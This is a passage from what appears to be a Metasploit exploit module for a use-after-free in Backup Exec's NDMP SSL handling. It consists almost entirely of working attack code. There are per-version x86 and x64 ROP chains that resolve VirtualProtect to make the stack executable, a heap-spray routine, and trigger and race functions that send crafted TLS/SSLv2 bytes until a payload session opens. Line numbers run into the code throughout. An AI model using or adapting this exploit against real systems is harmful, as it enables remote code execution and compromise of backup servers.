rbp, rax; call rdi8950xbe5851a, # mov rcx, rbx; call r128960xbe01f72, # pop rax; ret8970,8980xbe610f0, # add rax, rcx; ret8990xbe9c70c, # mov rcx, rax; call r129000xbefe516, # mov rdx, rcx; call r129010xbe9bf28, # mov rcx, rbp; call r129020xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]9030xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret9040,9050,9060,9070,9080xbe433b9, # push rax; pop rsi; ret9090xbe5851a, # mov rcx, rbx; call r129100xbe45a01, # pop r13; ret9110,9120xbe2e55e, # mov rdx, r13; call r129130xbe27c76, # pop r8; ret9140x40, # PAGE_EXECUTE_READWRITE9150xbe3caf0, # test rdx, rdx; setne al; ret9160xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret9170xbe01c2c, # ret9180xbe56cad, # jmp rsi9190xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret9200,9210,9220,9230,9240xbe12ed0, # pop rdi; ret9250xbe45a01, # pop r13; ret9260xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi927]928stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length929stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length930stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"931end932else933if target.opts['Version'] == 14934stage_3 = [9350x63117dfa, # pop edi; ret9360x63101514, # ret9370x63116cc9, # pop esi; ret9380x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]9390x631017ff, # pop ebp; ret9400x631213e6, # add esp, 0x20; ret9410x63137a3c, # pushal; ret942'KERN'.unpack('L<')[0],943'EL32'.unpack('L<')[0],944'.dll'.unpack('L<')[0],9450,9460x63117dfa, # pop edi; ret9470x6311de4c, # pop edi; pop ebp; ret9480x6311b614, # push eax; call edi9490x63117dfa, # pop edi; ret9500x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]9510x63116cc9, # pop esi; ret9520x631213e6, # add esp, 0x20; ret9530x63137a3c, # pushal; ret954'Virt'.unpack('L<')[0],955'ualP'.unpack('L<')[0],956'rote'.unpack('L<')[0],957"ct\0\0".unpack('L<')[0],9580x6314de45, # xchg eax, edi; ret9590x6311db46, # push esp; pop esi; ret9600x6311a398, # xchg eax, esi; ret9610x63116cc9, # pop esi; ret9620x6311f902, # pop ebx; pop ecx; ret9630x63123d89, # push eax; call esi9640x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret9650x63101514, # ret9660,9670x631309f4, # pop edx; or al, 0xf6; ret9680x40, # PAGE_EXECUTE_READWRITE9690x63117dfa, # pop edi; ret9700x63101514, # ret9710x6310185a, # pop eax; ret9720x63139ec5, # push esp; ret9730x63137a3c # pushal; ret974]975stage_3[31] = stage_4.length + 4976elsif target.opts['Version'] == 15977stage_3 = [9780x6311e378, # pop edi; ret9790x63101564, # ret9800x631289b9, # pop esi; ret9810x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]9820x6310184f, # pop ebp; ret9830x6313937d, # add esp, 0x20; ret9840x6311c618, # pushal; ret985'KERN'.unpack('L<')[0],986'EL32'.unpack('L<')[0],987'.dll'.unpack('L<')[0],9880,9890x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret9900x6311e378, # pop edi; ret9910x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]9920x631289b9, # pop esi; ret9930x6313937d, # add esp, 0x20; ret9940x6311c618, # pushal; ret995'Virt'.unpack('L<')[0],996'ualP'.unpack('L<')[0],997'rote'.unpack('L<')[0],998"ct\0\0".unpack('L<')[0],9990x631289b9, # pop esi; ret10000x631018aa, # pop eax; ret10010x63198446, # mov edi, eax; call esi10020x63137496, # push esp; pop esi; ret10030x6312c068, # xchg eax, esi; ret10040x631289b9, # pop esi; ret10050x6315c407, # pop ebx; pop ecx; ret10060x63189809, # push eax; call esi10070x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret10080x63101564, # ret10090,10100x63156a54, # pop edx; or al, 0xf6; ret10110x40, # PAGE_EXECUTE_READWRITE10120x6311e378, # pop edi; ret10130x63101564, # ret10140x631018aa, # pop eax; ret10150x6311c638, # push esp; ret10160x6311c618 # pushal; ret1017]1018stage_3[31] = stage_4.length + 41019elsif target.opts['Version'] == 161020stage_3 = [10210x6311e3c0, # pop edi; ret10220x63101564, # ret10230x63128a39, # pop esi; ret10240x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]10250x6310184f, # pop ebp; ret10260x631394ad, # add esp, 0x20; ret10270x6311c69c, # pushal; ret1028'KERN'.unpack('L<')[0],1029'EL32'.unpack('L<')[0],1030'.dll'.unpack('L<')[0],10310,10320x6311e3c0, # pop edi; ret10330x631018aa, # pop eax; ret10340x6319959f, # mov ebp, eax; call edi10350x6311e3c0, # pop edi; ret10360x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]10370x63128a39, # pop esi; ret10380x631394ad, # add esp, 0x20; ret10390x6311c69c, # pushal; ret1040'Virt'.unpack('L<')[0],1041'ualP'.unpack('L<')[0],1042'rote'.unpack('L<')[0],1043"ct\0\0".unpack('L<')[0],10440x63128a39, # pop esi; ret10450x631018aa, # pop eax; ret10460x631993e6, # mov edi, eax; call esi10470x631375e6, # push esp; pop esi; ret10480x6312c0e8, # xchg eax, esi; ret10490x63128a39, # pop esi; ret10500x63133031, # pop ebx; pop ecx; ret10510x6314a34a, # push eax; call esi10520x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret10530x63101564, # ret10540,10550x63157084, # pop edx; or al, 0xf6; ret10560x40, # PAGE_EXECUTE_READWRITE10570x6311e3c0, # pop edi; ret10580x63101564, # ret10590x631018aa, # pop eax; ret10600x63134eb6, # push esp; ret10610x6311c69c # pushal; ret1062]1063stage_3[33] = stage_4.length + 41064end1065stage_3 = stage_3.pack('L<*') + stage_41066end10671068if target.opts['Arch'] == ARCH_X641069if target.opts['Version'] == 141070stage_2 = [10710xbe40d1d, # pop r12; pop rsi; ret10720xbe1bca3, # pop r12; pop rbx; ret10730xbe399d0, # pop r13; ret10740xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r1210750xbe501a7, # mov rcx, rbx; call rsi10760xbe01f72, # pop rax; ret10770,10780xbe3d250, # add rax, rcx; ret10790xbe37f75, # push rax; pop rdi; ret10800xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret10810xbe24263, # mov rax, qword ptr [rax + 8]; ret10820xbe1b055, # pop rbx; ret10830xfffffffffffff000,10840xbe501a7, # mov rcx, rbx; call rsi10850xbe3d250, # add rax, rcx; ret10860xbe1c2f9, # pop r12; ret10870xbe2ab32, # pop r8; ret10880xbe2987c, # mov rcx, rax; call r1210890xbe1b055, # pop rbx; ret10900xbe2ab32, # pop r8; ret10910xbe45935, # mov rdx, rdi; call rbx10920xbe01a29, # ret10930xbe2ab32, # pop r8; ret10940,10950xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]10960xbe2987c, # mov rcx, rax; call r1210970xbe1cfc0 # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)1098]1099elsif target.opts['Version'] == 151100stage_2 = [11010xbe1e18e, # pop r12; pop rdi; ret11020xbebd50e, # pop r13; ret11030xbebc3fd, # pop r14; pop rbp; ret11040xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi11050xbe9ad68, # mov rcx, rbp; call r1211060xbe087c8, # pop rax; ret11070,11080xbe60dc0, # add rax, rcx; ret11090xbe43269, # push rax; pop rsi; ret11100xbebd24c, # mov rax, qword ptr gs:[0x30]; ret11110xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret11120xbe1d923, # pop r12; pop rbx; ret11130xfffffffffffff000,11140xbe27c76, # pop r8; ret11150xbe45511, # mov rcx, r12; call rbx11160xbe60dc0, # add rax, rcx; ret11170xbe1df29, # pop r12; ret11180xbe27c76, # pop r8; ret11190xbe9b54c, # mov rcx, rax; call r1211200xbe01f72, # pop rax; ret11210xbe27c76, # pop r8; ret11220xbe4164c, # mov rdx, rsi; call rax11230xbeae99d, # pop r8; ret11240,11250xbebda22, # jmp qword ptr [MSVCR100!memcpy]11260xbe9b627, # mov rcx, rax; call r1211270xbeeb621 # push rcx; pop rsp; ret1128]1129elsif target.opts['Version'] == 161130stage_2 = [11310xbe1e18e, # pop r12; pop rdi; ret11320xbe45a01, # pop r13; ret11330xbe2a433, # pop r14; pop rbp; ret11340xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi11350xbe9bf28, # mov rcx, rbp; call r1211360xbe01f72, # pop rax; ret11370,11380xbe610f0, # add rax, rcx; ret11390xbe433b9, # push rax; pop rsi; ret11400xbebe74c, # mov rax, qword ptr gs:[0x30]; ret11410xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret11420xbe1d923, # pop r12; pop rbx; ret11430xfffffffffffff000,11440xbe27c76, # pop r8; ret11450xbe45681, # mov rcx, r12; call rbx11460xbe610f0, # add rax, rcx; ret11470xbe1df29, # pop r12; ret11480xbe27c76, # pop r8; ret11490xbe9c70c, # mov rcx, rax; call r1211500xbe01f72, # pop rax; ret11510xbe27c76, # pop r8; ret11520xbe4179c, # mov rdx, rsi; call rax11530xbe27c76, # pop r8; ret11540,11550xbebef22, # jmp qword ptr [MSVCR100!memcpy]11560xbe9c70c, # mov rcx, rax; call r1211570xbeed611 # push rcx; pop rsp; ret1158]1159end1160stage_2[6] = (stage_2.length - 4) * 81161stage_2[23] = stage_3.length1162stage_2 = stage_2.pack('Q<*') + stage_31163else1164if target.opts['Version'] == 141165stage_2 = [11660x63143720, # mov eax, dword ptr fs:[0x18]; ret11670x6311efa4, # mov eax, dword ptr [eax + 4]; ret11680x63129b75, # pop edi; pop ecx; ret11690xfffffff0,11700x100000000 - 0x2000,11710x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret11720x63129b75, # pop edi; pop ecx; ret11730x6310185a, # pop eax; ret11740,11750,11760,11770x63133912, # add eax, ecx; ret11780x63152ded, # mov ebx, eax; call esi11790x631309f4, # pop edx; or al, 0xf6; ret11800x6314cfa1, # xchg eax, esp; ret11810x6311db46, # push esp; pop esi; ret11820x6310185a, # pop eax; ret11830x6310185a, # pop eax; ret11840x631171d2, # mov ecx, esi; call eax11850x6310185a, # pop eax; ret11860,11870x63133912, # add eax, ecx; ret11880x631257f4, # push ebx; call edi11890x631546eb, # pop edi; ret11900x631543cb, # pop ebp; pop esi; pop edi; ret11910x63116faf, # pop ebx; ret11920x63143aec, # jmp dword ptr [MSVCR100!memcpy]11930x6315dde0, # cld; ret11940x63137a3c, # pushal; ret119501196]1197stage_2[20] = (stage_2.length - 16) * 41198stage_2[29] = stage_3.length1199elsif target.opts['Version'] == 151200stage_2 = [12010x631a6220, # mov eax, dword ptr fs:[0x18]; ret12020x6312e404, # mov eax, dword ptr [eax + 4]; ret12030x6313031d, # pop ebp; pop ecx; ret12040x100000000 - 0x2000,12050xfffffff0,12060x6316c73a, # and eax, ecx; pop esi; ret12070x6315c407, # pop ebx; pop ecx; ret12080x63192b17, # add eax, ebp; ret12090x63189809, # push eax; call esi12100x63156a54, # pop edx; or al, 0xf6; ret12110x6312c933, # xchg eax, esp; ret12120x63137496, # push esp; pop esi; ret12130x6314172a, # pop eax; ret12140,12150x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret12160x63156dd8, # pop edi; pop ebp; pop esi; ret12170,12180,12190x631729cd, # pop ebx; ret12200x631a65ec, # jmp dword ptr [MSVCR100!memcpy]12210x6311e250, # cld; ret12220x6311c618, # pushal; ret122301224]1225stage_2[13] = (stage_2.length - 12) * 41226stage_2[22] = stage_3.length1227elsif target.opts['Version'] == 161228stage_2 = [12290x631a7200, # mov eax, dword ptr fs:[0x18]; ret12300x6312e4a4, # mov eax, dword ptr [eax + 4]; ret12310x63128afc, # pop ecx; ret12320xfffffff0,12330x6316d13a, # and eax, ecx; pop esi; ret12340x63133031, # pop ebx; pop ecx; ret12350x63128afc, # pop ecx; ret12360x100000000 - 0x2000,12370x63142860, # add eax, ecx; ret12380x6314a34a, # push eax; call esi12390x63157084, # pop edx; or al, 0xf6; ret12400x6311c6c0, # xchg eax, esp; ret12410x631375e6, # push esp; pop esi; ret12420x631018aa, # pop eax; ret12430,12440x63135f56, # add eax, esi; add eax, ecx; pop esi; ret12450,12460x63157408, # pop edi; pop ebp; pop esi; ret12470x63157408, # pop edi; pop ebp; pop esi; ret12480,12490,12500x63181046, # sub eax, ecx; pop ebx; ret12510x631a75cc, # jmp dword ptr [MSVCR100!memcpy]12520x6311e298, # cld; ret12530x6311c69c, # pushal; ret125401255]1256stage_2[14] = (stage_2.length - 13) * 41257stage_2[25] = stage_3.length1258end1259stage_2 = stage_2.pack('L<*') + stage_31260end12611262stage_2 + rand_text(stage_2.length & 1)1263end12641265#1266# Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.1267#1268def attempt_triggers(s, spray_socks, spray_msg)1269datastore['NumTriggerAttempts'].times do |x|1270print_status('Spraying stage 1...')1271(1..2).each do |phase|1272spray_socks.each do |ss|1273if phase == 11274return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)1275return true if @payload_connected || session_created?1276else127750.times do1278return false unless ss.read_ndmp_msg(spray_msg.header.type)1279return true if @payload_connected || session_created?1280end1281end1282end1283end1284sleep(1)1285return true if @payload_connected || session_created?12861287# Send a certain amount of data per trigger attempt so that stage 1 will always end1288# up jumping into the TLS/SSLv2 record at an expected location. The general idea is1289# that the first write will complete Backup Exec's first recv operation, the second1290# fills the buffer back up to an 8/4-byte aligned position, and the rest moves1291# through the retsled1292print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")1293trigger = if target.opts['Version'] == 141294if x == 01295# A maximum of 5 bytes are always read at first, so just send them all at once1296"\x16\x03\x01\x10\x00"1297elsif x == 11298# Skip over TLS header structure1299rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)1300else1301# Skip over a ROP NOP1302rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)1303end1304else1305if x == 01306# A maximum of 11 bytes are always read at first, so just send them all at once1307"\x90\x00\x01\x03\x03" + rand_text(11 - 5)1308elsif x == 11309# Skip over SSLv2 header structure1310rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)1311else1312# Skip over a ROP NOP1313rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)1314end1315end1316return false unless s.raw_sendall(trigger, 0)13171318sleep(1)1319return true if @payload_connected || session_created?1320end13211322nil1323end13241325#1326# Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the1327# use-after-free in a race.1328#1329# For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.1330# This is because these versions of Windows overwrite the start of freed objects on the1331# heap with the next offset in the freelist. We need to then overwrite this with our1332# stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO1333# struct's read callback upon re-entering SSL mode. This is less successful than the1334# Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it1335# still works OK.1336#1337def attempt_race(s, spray_socks, spray_msg, ca_cert_id)1338print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')1339do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|1340unless is_pre1341200.times do1342spray_socks.each do |ss|1343ss.prepare_and_write_ndmp_msg(spray_msg, 200)1344return true if @payload_connected || session_created?1345end1346end1347end1348end1349sleep(1)13501351@payload_connected || session_created?1352end1353end135413551356